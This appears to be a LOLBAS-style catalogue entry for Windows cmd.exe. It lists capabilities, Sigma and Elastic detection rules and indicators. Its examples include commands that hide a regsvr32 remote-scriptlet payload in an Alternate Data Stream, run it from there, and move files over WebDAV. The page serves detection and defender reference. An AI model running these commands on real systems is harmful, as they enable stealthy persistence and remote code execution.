windows enabled community medium v1.0.0

cmd

The command-line interpreter in Windows Located at: C:\Windows\System32\cmd.exe; C:\Windows\SysWOW64\cmd.exe.

📋 Live Preview

cmd

cmd

Sandbox: execFile · Timeout: 30s

Capabilities

system.file.alternate-data-stream

network.transfer.download

network.transfer.upload

Contract

Outputs

process.output

Command execution output

Side effects: filesystem_writenetwork_traffic

Workflow Edges

Produces

process.output

Resource Profile

Resource	Value
CPU	low
Memory	16 MB
Network	medium
Disk I/O	low

Examples

Add content to an Alternate Data Stream (ADS). (Can be used to evade defensive countermeasures or to hide as a persistence mechanism)

cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat

Execute payload.bat stored in an Alternate Data Stream (ADS). (Can be used to evade defensive countermeasures or to hide as a persistence mechanism)

cmd.exe - < {PATH}:payload.bat

Downloads a specified file from a WebDAV server to the target file. (Download/copy a file from a WebDAV server)

type {PATH_SMB} > {PATH_ABSOLUTE}

Uploads a specified file to a WebDAV server. (Upload a file to a WebDAV server)

type {PATH_ABSOLUTE} > {PATH_SMB}

Detection

Type	Rule / Indicator
sigma	https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml
elastic	https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml
elastic	https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
ioc	cmd.exe executing files from alternate data streams.
ioc	cmd.exe creating/modifying file contents in an alternate data stream.

Documentation

cmd

cmd is a Windows LOLBin. The command-line interpreter in Windows Located at: C:\Windows\System32\cmd.exe; C:\Windows\SysWOW64\cmd.exe.

cmd